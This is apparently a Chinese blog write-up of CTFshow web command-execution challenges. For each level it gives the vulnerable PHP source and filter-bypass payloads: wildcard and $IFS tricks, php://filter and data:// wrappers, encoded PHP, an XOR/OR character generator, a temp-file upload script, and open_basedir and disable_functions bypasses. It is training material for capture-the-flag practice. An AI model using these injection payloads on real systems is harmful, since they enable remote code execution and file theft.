[CTFSHOW]命令执行合集


前言

来源于

【原创】ctfshow—web入门—命令执行 (29-77)(持续更新)

[CTFSHOW]命令执行

进行归纳总结。

Web29 flag

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php

Web30 system|php

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

换其他函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

Web31 cat|sort|shell

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

payload:

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));//扫描当前路径下文件返回数组->数组倒叙->输出下一个元素
c=show_source(next(array_reverse(scandir(pos(localeconv())))));//pos(localeconv()) 组成.点号,加上scandir就是扫描当下目录。具体看Web40
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

Web32 echo|’|(|;

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

include不用括号,分号可以用?>代替

payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

Web33-36 [0-9]|/

33新增双引号

34新增冒号

35新增<|=

36新增/|[0-9]

payload

c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

Web37 include

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }

}else{
    highlight_file(__FILE__);
}
c=data://text/palin,<?php system("nl fla*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web38 php|file

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }

}else{
    highlight_file(__FILE__);
}
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web39 include加后缀

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}
?c=data:text/plain,<?php system('cat fla?.php')?>

Web40 [0-9]|各种符号

<?php
if (isset($_POST['c'])) {
    $c = $_POST['c'];
    if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)) {
        eval($c);
    }
} else {
    highlight_file(__FILE__);
}
?>

括号检测的是中文括号。基本思路就是不带字符串不带数字纯函数读取。

current()函数返回数组中的当前元素/单元,默认取第一个值
pos()函数同上,是current()函数的别名
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE

//查看当下目录
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));

payload:

c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

Web41 [0-9]|[a-z]

<?php
if (isset($_POST['c'])) {
    $c = $_POST['c'];
    if (!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)) {
        eval("echo($c);");
    }
} else {
    highlight_file(__FILE__);
}

此题过滤了$、+、-、^、~,导致异或/自增/取反构造字符都无法在使用,但留了个运算符|

脚本:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/

/*根据正则表达式生成对应payload */


//或
function orRce($par1, $par2)
{
    $result = (urldecode($par1) | urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2)
{
    $result = (urldecode($par1) ^ urldecode($par2));
    return $result;
}

//取反
function negateRce()
{
    fwrite(STDOUT, '[+]your function: ');

    $system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT, '[+]your command: ');

    $command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg = '/[0-9]/i')
{
    //根据正则表达式从字符中排除掉被过滤的,然后再进行或/异或,之后判断该字符是否为可见字符
    if ($mode != 3) {
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i = 0; $i < 256; $i++) {
            for ($j = 0; $j < 256; $j++) {
                if ($i < 16) {
                    $hex_i = '0' . dechex($i);
                } else {
                    $hex_i = dechex($i);
                }
                if ($j < 16) {
                    $hex_j = '0' . dechex($j);
                } else {
                    $hex_j = dechex($j);
                }
                if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
                    echo "";
                } else {
                    $par1 = "%" . $hex_i;
                    $par2 = '%' . $hex_j;
                    $res = '';
                    if ($mode == 1) {
                        $res = orRce($par1, $par2);
                    } else if ($mode == 2) {
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res) >= 32 & ord($res) <= 126) {
                        $contents = $contents . $res . " " . $par1 . " " . $par2 . "\n";
                    }
                }
            }
        }
        fwrite($myfile, $contents);
        fclose($myfile);
    } else {
        negateRce();
    }
}

generate(2, '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

Web42-52 >/dev/null

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

要将后面的截断,命令加个%0a或者%26||

Web43新增正则检测cat,换个如nltac读取命令即可

Web44新增正则检测flag,用通配符或fla\g

Web45新增正则检测空格,可用%09代替空格,或nl<fl\ag.php||

Web46新增[0-9]|$,同上

Web47同上

Web48同上

Web49新增各种命令,同上

Web50新增检测%09

Web51新增检测%

Web52新增检测大多数可代替空格字符,但没检测$,所以用$IFS代替空格

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

Web53-54

<?php
if (isset($_POST['c'])) {
    $c = $_POST['c'];
    if (!preg_match("\|\;|cat|f1ag|[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk| strings|od|curl|\`|\%|\xO9|\x26|\>|\</i", $c)) {
        echo ($c);
        $d = system($c);
        echo "<br>" . $d;
    } else {
        echo 'no';
    }
} else {
    highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php&
?c=c''at${IFS}fla''g.p''hp

Web54加了一大堆.*f这等检测,用通配符

Web55-56:[a-z]

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

bin为binary的简写主要放置一些linux的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

payload:

方法一:

匹配/bin/base64 /flag.php

?c=/???/????64%20????.???

非通用,base64并非每个机子都有

上传临时变量

参考链接:无字母数字webshell之提高篇

import requests


while True:
    url = "http://url/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

#可以考虑加个声明 b'#!/bin/sh\ncat flag.php'

Web56加了[0-9],同上

Web57

<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

目的是构造36这个数字,利用

//与网上wp结果不一致,在kali与ubuntu18环境下测试为如下结果
$(()) 是0
$((~37)) 是-38,
$((~$(())$(()))) 是-1

payload

c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))

TODO:这题没尝试成功,待重试

Web58-65 disable_functions bypass

后面主要是绕过disable_functions思路,另起一篇文章吧,payload姑且记记,哪天抄类似的时候可能用得上。

<?php
eval($_POST['C']);

payload

c=show_source('flag.php')

Web66-70

c=print_r(scandir("/"));
c=highlight_file('flag.txt');

Web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
if (isset($_POST['c'])) {
    $c = $_POST['c'];
    eval($c);
    $s = ob_get_contents(); //得到缓冲区的数据。
    ob_end_clean(); //会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
    echo preg_replace("/[0-9]|[a-z]/i", "?", $s);
} else {
    highlight_file(__FILE__);
}

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

所以在缓冲区关闭之前退出程序:

c=require_once('/flag.txt');exit();

Web72 open_basedir bypass

参考链接

Web73-74

//先扫目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); }exit(0); ?>
//然后读取
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

Web75-76

//先扫目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
//利用mysql load_file读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

Web100 call_user_func

<?php
 
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

is_numeric:指定的变量是数字数字字符串(字符串内全是数字)则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即TRUE

7.x:is_number()对16进制数字不返回TRUE

所以转换成能够返回True的数字字符串。

<?=`cat *`;?>

进行base64编码:

PD89YGNhdCAqYDs=

去掉补位的=

PD89YGNhdCAqYDs

转换为16进制

5044383959474e6864434171594473

base64编码为a-zA-Z0-9/=,大部分为数字,所以得碰运气。而且如果中间有字母e,那么完全会被is_numberic当成科学计数法

所以尽量凑出中间有e的纯数字字符串。

GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
 
POST:v1=hex2bin

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录